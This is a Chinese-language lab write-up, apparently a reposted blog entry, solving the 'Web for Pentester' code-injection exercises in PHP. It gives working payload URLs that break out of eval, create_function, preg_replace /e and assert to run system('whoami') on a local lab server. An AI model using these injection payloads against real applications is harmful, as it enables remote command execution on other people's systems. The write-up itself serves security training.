zoukankan      html  css  js  c++  java
  • Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇

    Code injection(代码注入)

    Example 1

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143257650-1309948164.png)

    <1> `name=hacker’` 添加一个单引号

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143311050-821937799.png)

    <2> `name=hacker”` 添加一个双引号

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143356350-2108491842.png)

    返回报错信息,分析可知执行了eval()程序

    继续测试

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143459406-1888671742.png)

    这块有点复杂,我们先看一下源代码 ```php

    可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
    根据上述信息我们可以构造一个执行whoami命令的脚本
    >Payload 1  结尾使用赋值的方法闭合语句
    `http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
     <center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143538991-707665184.png)</center>
    
    <p>实际执行的语句为
    <p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";`  拼接一下变为
    <p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`   
    <p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出
    
    >Payload 2 
    `http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
    <center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143547121-1368557021.png)</center>
    >
    `http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
    <center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143555419-1257008802.png)</center>
    <p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容
     
    ###**Example 2**
     <center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143708057-1571194764.png)</center>
    <p>使用单引号 `?order=id'`
     <center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143728771-721286394.png)</center>
    <p>发现使用的是usort()函数
    <p>查看源代码
    ```php
    if (isset($order)) { 
       usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); 
    }
    

    尝试闭合构造如下:
    ?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。
    ?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。
    ?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。

    Payload
    http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143741019-782621294.png)
    ###**Example 3**
    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143746427-1102653696.png)
    查看源代码 ```php ```

    preg_replace()函数:
    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
    参数说明:
    $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。
    $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
    $count: 可选,为替换执行的次数。
    /e修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
    我们给pattern参数加上/e修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令

    Payload
    http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143759155-67554670.png)

    注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback` ###**Example 4**

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143810190-1192216016.png)

    老套路,发现`assert()`函数 >Payload `http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143843468-553703910.png)

    对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细

    参考文章:`https://www.freebuf.com/sectool/168653.html`

  • 相关阅读:
    个人收藏的flex特效网址【经典中的极品】
    JavaWEB开发国际化
    Java实现寻找和为定值的多个数
    Java实现寻找和为定值的多个数
    Java实现寻找和为定值的多个数
    Java实现寻找和为定值的多个数
    Java实现二进制幂
    Java实现二进制幂
    Java实现二进制幂
    Java实现二进制幂
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/11320963.html
Copyright © 2011-2022 走看看